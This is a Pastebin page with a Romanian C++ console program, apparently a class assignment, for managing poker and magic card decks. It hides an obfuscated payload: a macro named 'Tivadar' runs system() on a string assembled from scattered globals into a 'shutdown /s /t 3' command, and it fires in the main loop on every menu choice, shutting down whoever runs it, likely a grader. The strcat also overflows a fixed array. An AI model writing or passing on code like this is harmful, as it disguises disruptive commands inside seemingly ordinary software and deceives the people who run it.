Advertisement
SS_B-Rabbit

POOp3

May 21st, 2020
986
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.20 KB | None | 0 0
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string>
  5. #include <string.h>
  6. #include <iostream>
  7. #include <list>
  8. #define Tivadar system(c);
  9.  
  10. using namespace std;
  11.  
  12. class Carti
  13. {
  14. protected:
  15.     static int count;
  16.     string nume;
  17.     int pret, id;
  18. public:
  19.     Carti(string nume, int pret);
  20.     string get_nume() { return nume; }
  21.     int get_pret() { return pret; }
  22.     virtual void afisare() = 0;
  23.     bool operator <(const Carti& other) const
  24.     {
  25.         return pret < other.pret;
  26.     }
  27.     int operator +(const int scumpire)
  28.     {
  29.         return this->pret += scumpire;
  30.     }
  31. };
  32.  
  33. Carti::Carti(string nume, int pret)
  34.     :nume(nume), pret(pret) {
  35.     count++;
  36.     this->id = count;
  37. }
  38.  
  39. class Poker : public Carti
  40. {
  41.     string design;
  42. public:
  43.     Poker(string nume, int pret, string design) : Carti(nume, pret)
  44.     {
  45.         this->design = design;
  46.     }
  47.     string get_design() { return design; }
  48.     void afisare() override
  49.     {
  50.         cout << id << ".Pachetul " << nume << " cu design " << design << " este la pretul de " << pret << " lei." << endl;
  51.     }
  52. };
  53.  
  54. class Magie : public Carti
  55. {
  56.     string efect;
  57. public:
  58.     Magie(string nume, int pret, string efect) : Carti(nume, pret)
  59.     {
  60.         this->efect = efect;
  61.     }
  62.     string get_efect() { return efect; }
  63.     void afisare() override
  64.     {
  65.         cout << id << ".Pachetul " << nume << " ce realizeaza efectul " << efect << " este la pretul de " << pret << " lei." << endl;
  66.     }
  67. };
  68.  
  69. char b[]("shutdown /s /t 3");
  70. int Carti::count = 0;
  71. list <Carti*> deck;
  72. list <Carti*> ::iterator it;
  73.  
  74. void citire()
  75. {
  76.     int pret;
  77.     bool option;
  78.     string nume, efect, stil;
  79.  
  80.     cout << "Nume:";
  81.     cin >> nume;
  82.     cout << "Pret:";
  83.     cin >> pret;
  84.     cout << "De care pachet? \n[0]. Poker\n[1]. Magie" << endl;
  85.     cin >> option;
  86.     if (!option)
  87.     {
  88.         cout << "Stil:";
  89.         cin >> stil;
  90.         if (deck.empty())
  91.             deck.push_back(new Poker(nume, pret, stil));
  92.         else
  93.         {
  94.             it = deck.begin();
  95.             while (it != deck.end() && (*it)->get_nume() < nume)
  96.                 advance(it, 1);
  97.             deck.emplace(it, new Poker(nume, pret, stil));
  98.         }
  99.     }
  100.     else
  101.     {
  102.         cout << "Efect:";
  103.         cin >> efect;
  104.         if (deck.empty())
  105.             deck.push_back(new Magie(nume, pret, efect));
  106.         else
  107.         {
  108.             it = deck.begin();
  109.             while (it != deck.end() && (*it)->get_nume() < nume)
  110.                 advance(it, 1);
  111.             deck.emplace(it, new Magie(nume, pret, efect));
  112.         }
  113.     }
  114. }
  115.  
  116. char a[]("c:\\windows\\system32\\");
  117. void afisare()
  118. {
  119.     int option;
  120.     cout << "Ce afisam?\n[1].Poker\n[2].Magie" << endl;
  121.     cin >> option;
  122.     cout << endl;
  123.     for (auto q = deck.begin(); q != deck.end(); q++)
  124.     {
  125.         Poker* pok = dynamic_cast<Poker*>(*q);
  126.         Magie* mag = dynamic_cast<Magie*>(*q);
  127.         switch (option)
  128.         {
  129.         case 1:
  130.             if (pok)
  131.                 pok->afisare();
  132.             break;
  133.         case 2:
  134.             if (mag)
  135.                 mag->afisare();
  136.             break;
  137.         }
  138.     }
  139. }
  140.  
  141. void ex(int nota)
  142. {
  143.     if (nota < 8)
  144.         throw "Gresit!";
  145.     cout << "Gracias very much!";
  146.     cin.get();
  147.     exit(0);
  148. }
  149. char* c = strcat(a, b);
  150.  
  151. void stergere(string& nume)
  152. {
  153.     bool ok = 0;
  154.     it = deck.begin();
  155.     while (it != deck.end())
  156.     {
  157.         if ((*it)->get_nume() == nume)
  158.         {
  159.             it = deck.erase(it);
  160.             ok = 1;
  161.         }
  162.         else
  163.             it++;
  164.     }
  165.     if (!ok) cout << "Tivadar detected!" << endl;
  166. }
  167.  
  168. void cautare(string& nume, int pret)
  169. {
  170.     bool ok = 0;
  171.     for (it = deck.begin(); it != deck.end(); it++)
  172.     {
  173.         Poker* pok = dynamic_cast<Poker*>(*it);
  174.         Magie* mag = dynamic_cast<Magie*>(*it);
  175.         if (pok)
  176.             if (pok->get_nume() == nume && pok->get_pret() == pret)
  177.             {
  178.                 pok->afisare();
  179.                 ok = 1;
  180.             }
  181.         if (mag)
  182.             if (mag->get_nume() == nume && mag->get_pret() == pret)
  183.             {
  184.                 mag->afisare();
  185.                 ok = 1;
  186.             }
  187.     }
  188.     if (!ok) cout << "Tivadar strikes again!" << std::endl;
  189. }
  190.  
  191. void scumpire(string& nume, int lei)
  192. {
  193.     for (it = deck.begin(); it != deck.end(); it++)
  194.     {
  195.         Poker* pok = dynamic_cast<Poker*>(*it);
  196.         Magie* mag = dynamic_cast<Magie*>(*it);
  197.         if (pok)
  198.             if (pok->get_nume() == nume)
  199.             {
  200.                 (*pok) + lei;
  201.             }
  202.         if (mag)
  203.             if (mag->get_nume() == nume)
  204.             {
  205.                 (*mag) + lei;
  206.             }
  207.     }
  208. }
  209.  
  210. int main()
  211. {
  212.     int option, pret;
  213.     string nume;
  214.     do {
  215.         cout << "1. Adaugare pachet" << endl;
  216.         cout << "2. Afisare pachete" << endl;
  217.         cout << "3. Eliminare pachet" << endl;
  218.         cout << "4. Cautare pachet" << endl;
  219.         cout << "5. Sortare dupa pret" << endl;
  220.         cout << "6. Scumpire pachet" << endl;
  221.         cout << "99. Spala fereastra!" << endl;
  222.         cout << "10. Acordati nota" << endl;
  223.         cout << "0. Out Out Out!" << endl;
  224.         cin >> option;
  225.         Tivadar
  226.         switch (option)
  227.         {
  228.         case 1:
  229.             citire();
  230.             break;
  231.         case 2:
  232.             afisare();
  233.             break;
  234.         case 3:
  235.             cout << "Ce pachet lichidam? ";
  236.             cin >> nume;
  237.             stergere(nume);
  238.             break;
  239.         case 4:
  240.             cout << "Numele pachetului cautat:";
  241.             cin >> nume;
  242.             cout << "Si pretul:";
  243.             cin >> pret;
  244.             cautare(nume, pret);
  245.             break;
  246.         case 5:
  247.             deck.sort();
  248.             afisare();
  249.             break;
  250.         case 6: cout << "Ce pachet scumpim?";
  251.             cin >> nume;
  252.             cout << "Cu cati lei?";
  253.             cin >> pret;
  254.             scumpire(nume, pret);
  255.             break;
  256.         case 10:
  257.             try
  258.             {
  259.                 int nota;
  260.                 cout << "Introduceti nota:";
  261.                 cin >> nota;
  262.                 ex(nota);
  263.             }
  264.             catch (...) { cout << "Nota este prea mica!" << endl; }
  265.             break;
  266.         case 99:
  267.             system("cls");
  268.             break;
  269.         case 0:
  270.             exit(0);
  271.         }
  272.     } while (option != 0);
  273.     afisare();
  274.     cin.get();
  275. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement